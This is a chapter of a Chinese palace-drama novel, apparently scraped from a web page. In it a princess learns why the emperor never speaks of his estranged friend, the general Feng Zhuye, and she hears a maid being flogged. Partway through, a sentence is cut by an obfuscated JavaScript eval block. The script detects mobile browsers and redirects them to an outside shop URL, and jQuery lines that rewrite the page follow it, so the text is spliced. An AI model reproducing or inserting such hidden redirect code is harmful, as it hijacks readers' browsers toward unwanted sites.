芍药花期将尽的时候，宫里出了一件事。
事情本身不大，一个在御前伺候的小宫女，奉茶时不小心打翻了茶盏，滚水溅湿了皇帝的衣袖。皇帝尚未发话，那宫女已吓得瘫跪在地，浑身抖如筛糠。皇帝只是摆了摆手，说了一句“下次仔细些”，便让她退下了。
原本不过是一桩寻常的过失，连罚俸都算不上。
但那宫女退到殿外时，大约是为了给自己压惊，低声嘟囔了一句连她自己都没在意的话。
她道的是：“奴婢还以为，陛下会像上回那样发好大的脾气。”
上回。
旁边有个年纪稍长的太监听见了，脸色骤变，厉声喝止了她。可话已经说出了口，像泼出去的水，收不回来。
更不巧的是，这话被刚出殿门的皇帝听见了。
沈京仪是第二日才知道这件事的。
彼时她正坐在坤宁宫的芍药花圃旁，帮皇后挑拣晒干的花瓣。
暮春的阳光从藤萝架的缝隙里筛下来，落在青石砖上，碎成一片一片的金。皇后将事情的原委说了一遍，语气风轻云淡。可沈京仪听出来了，皇嫂特意把她叫来说这件事，绝不会只是为了让她听个热闹。
“那宫女说的是什么？”沈京仪将一片晒干的芍药花瓣放进竹篮里，指间沾了些许花瓣上残余的粉末，“上回是哪回？”
皇后拈起一朵半干的芍药，对着光看了看花瓣的纹理。花圃里很安静，蜜蜂的嗡嗡声忽远忽近，阳光从藤萝架的缝隙里漏下来，在她膝上投下细碎的光斑。
沉默了片刻，她才开口道：“她说的是封逐野。”
沈京仪的手在半空中停了停。
封逐野。
这个名字她已经很久没有听人提过了。在宫里头，这个名字是一个禁忌，没有人下过明旨说不许提，但所有人都心照不宣。
年轻的宫人只知道陛下身边曾经有个极得信重的少年将军，后来去了北境便再没有回来。年长些的，偶尔在酒后漏出一两句，也会立刻被同伴用眼神制止。
她知道这个禁忌从何而来。
皇兄七岁那年，在书院里认识了六岁的封逐野。
彼时沈易是太子，封逐野是策北王府的世子。一个科科第一，唯独不会习武；一个科科倒数，唯独兵法无人能及。两人像是天定的一般，从第一面起就形影不离，同吃同住，同读书同习武。书院的老祭酒曾抚着胡须说，这二人一文一武，将来必是圣君良将，保大齐百年安稳。
后来边疆战事吃紧，封逐野十七岁便领兵出征。走的那天，沈易站在城楼上送他，封逐野大笑，打马而去。
边疆五载。
封逐野从不曾传一封信回来。沈易写了无数封信，派了无数拨人去，都如石沉大海。五年里，他从太子变成了皇帝，经历了宫变、平叛、登基，每一步都踩着刀尖走过来。最凶险的那一次，是封逐野带着三百亲卫夜奔五百里，在叛军包围圈中生生撕开一道口子。事后沈易握着他的手说“逐野，这天下分你一半”，他却只笑着弹了弹铠甲上的灰：“得了吧，你这龙椅坐着硌屁股，我可不要。请我喝三天酒就行。”
那时候沈易以为，这辈子不管发生什么，这个人都会站在他身边。
他以为那天夜里在屋顶上说的话，封逐野都懂。
可封逐野没有。
他拒绝了所有功名封赏，自请戍边，只领了一个闲散的世子虚衔。
从那以后，再也没有回来过。
“陛下那日发了好大的火。”皇后将手中的芍药放在一旁，声音沉沉的，像是从很远的地方飘过来，“他砸了御书房里所有能砸的东西，墙上那幅先帝御笔亲题的匾额都差点被他扯下来。太监们跪了一地，没一个人敢出声。他发完火之后，一个人坐在废墟里，从午后坐到深夜。”
沈京仪安静地听着。
她记得那段时间，那时候她不过十几岁，不太懂朝堂上的事，只知道封哥哥忽然不回来了。她去问皇兄，皇兄只是摸着她的头说，封哥哥要守边疆。
她信了。
直到后来有一天夜里，她睡不着，偷偷跑去找皇兄，看见他一个人在御书房里喝闷酒。
她站在门外看了很久，然后悄悄走了。
那是她第一次觉得，皇兄坐的那把龙椅，原来这么冷。
“这些年。”沈京仪轻声问，“他提过封逐野吗？”
皇后摇了摇头。
没有，一次都没有。
朝堂上有人提到策北王府，他会面无表情地听完，然后淡淡地转开话题。逢年过节有人提议给边疆将士加恩赏赐，他会照例批一个“准”字。
好像这个人从来不曾存在过，好像十七年的情谊，从总角到弱冠的陪伴，那些在屋顶上喝酒吹牛的荒唐往事，不过是一场可以随时抹去的旧梦。
封逐野这三个字，成了他心上最深的一根刺。
扎进去的时候疼，拔出来更疼，于是索性让它在肉里生锈，假装它已经不存在了。
“他每年都带你去逐鹿祭拜封老将军。”皇后说这句话的时候，声音很轻，像是怕被风偷听了去，“他却从来不祭拜，你问过原因吗？”
沈京仪没有回答。
她当然问过。
有一年清明，细雨蒙蒙，皇兄照例只送到山脚下。
她鼓起勇气问了一句“皇兄不上去吗”。
皇兄站在马车旁，一手撑着伞，一手拢在袖中，望着半山腰上那座被雨雾笼着的坟茔，沉默了很久。然后他道：“阿仪，有些路，走不过去了。”
她听懂了。
这些年横亘在两人之间的沉默，已经变成了比山路更难翻越的东西。
他不敢上山，是因为那个姓氏提醒着他，他失去的不只是一个臣子，而是他这辈子唯一的朋友。
沈京仪低下头，将手中的芍药花瓣一片一片地放进篮子里。花瓣是深红色的，晒干之后变得很薄很脆，稍稍用力就会碎裂。
“其实我也怨过他。”她忽然说，声音很轻，像是说给自己听的。
皇后抬起头看她。
“怨他不回来，怨他不写信，怨他让皇兄那么难受。”她把碎屑从指间弹掉，拍了拍手，“可是后来我想，他在北境的日子，大概也不比皇兄好过。皇兄身边好歹还有皇后娘娘，有满朝文武，有阿仪。他有什么呢？只有戈壁滩上的风，和一场接一场的仗。”
皇后看着她，目光里有一种很难形容的神色，像是看见了一株她亲手浇灌的花，在某个不经意的清晨忽然绽开了第一片花瓣。
这个被皇帝捧在掌心里长大的公主，不知从什么时候起，已经学会站在别人的角度想事情了。
过了很久，她才道：“你觉得，你皇兄是个什么样的人？”
沈京仪想了想答：“果断、缜密，从不犹豫。”
“那你知道一个从不
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17886416|212556||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
犹豫的人，为什么会在收到那封信之后，一个人在御书房里砸了所有东西吗？”
沈京仪没有接话。
皇后道：“他是皇帝，社稷重于一切。封逐野自己要走，难道要他以天子之尊下旨强留？可他又放不下。那十七年不是假的，在屋顶上喝过的酒不是假的，替他顶罪跪了一整夜不是假的。他这一生对得起社稷，对得起百姓，唯独对不起的，是他自己。”
沈京仪沉默了很久。她把手中的芍药花瓣一片一片放进篮子里，放得很慢，像是在叠一件极薄的瓷器。
“这些话你莫要在陛下面前提。”皇后收回目光，重新拿起一朵芍药，“那个小宫女只是随口嘟囔了一句，陛下不会把她怎么样。但你要是提了封逐野。”她神色不宁，思虑片刻又道，“他虽不会对你发脾气，但他会把自己关在御书房里，又是好几日不说话。”
沈京仪点了点头，没有再说什么。
三日后，沈京仪在去御书房的路上，听见了一阵凄厉的哭叫声。
那声音从内廷司的方向传来，尖利而短促，像是被人猛地扼住了喉咙，然后只剩下呜呜咽咽的余音。
她偏过头去，云娘立刻上前半步，低声道：“殿下不必理会，内廷司处置宫人，常有的事。”
她正想收回目光，却忽然看见了不远处的回廊下，有两个人正站在廊柱后面低声说话。
一个是皇后身边的女官苏姑姑，一个是坤宁宫的掌事太监。
两人压低了声音，面色凝重。
风吹过来时，飘来了几个字，“陛下亲自下的令”“二十板”“可怜那丫头才十六”。
沈京仪站在原地，望着内廷司的方向，听那哭叫声渐渐低下去，最后完全消失。
她忽然想起那年，她八岁那年。
那时候她身边有个叫绿珠的小宫女，比她大三岁，是从江南采选入宫的。绿珠有一双很巧的手，会编各种各样的草虫，蜻蜓、蝴蝶、蛐蛐、螳螂，每一只都编得活灵活现。她还会讲很多很多故事，讲江南的烟雨、西湖的画舫、正月十五的灯市，讲那些沈京仪从未见过的风景。沈京仪听得入了迷，每天下了学就往绿珠那儿跑，缠着她讲了一个又一个故事。
后来有一天，绿珠不在了。沈京仪到处找她，问遍了所有人，都说不知道。她哭着去找皇兄，皇兄蹲下来，用手帕替她擦眼泪，说绿珠犯了错，被送出宫去了。
她信了。
直到很久以后，她才从旁人的只言片语中拼凑出真相。绿珠是朝中某个大臣安插在她身边的眼线，利用她年幼，利用她对宫墙外世界的好奇，一点点套取她无意中说出的关于皇兄的消息。皇兄发现之后，直接下令杖毙。
她为此生了一个月的气。
那是她第一次对皇兄使性子，不说话，不见他，送来的东西原样退回去。
酥酪、云锦、新贡的蜜饯，一样一样被原封不动地退回来。皇兄竟然也由着她，不哄、不劝、不道歉，只是每日派人来问一遍她的起居，送来的点心都是她爱吃的。
那时候她不明白，为什么皇兄明明知道她会生气，还是要做。
现在她懂了，不是因为无情，恰恰是因为太在乎。在乎到宁可让她恨他，也不能让任何危险靠近她半分。
她收回目光道：“云娘。去打听一下那个宫女的情况。若她还活着，给她家人送些银子。别说是我送的。”
云娘低声应是。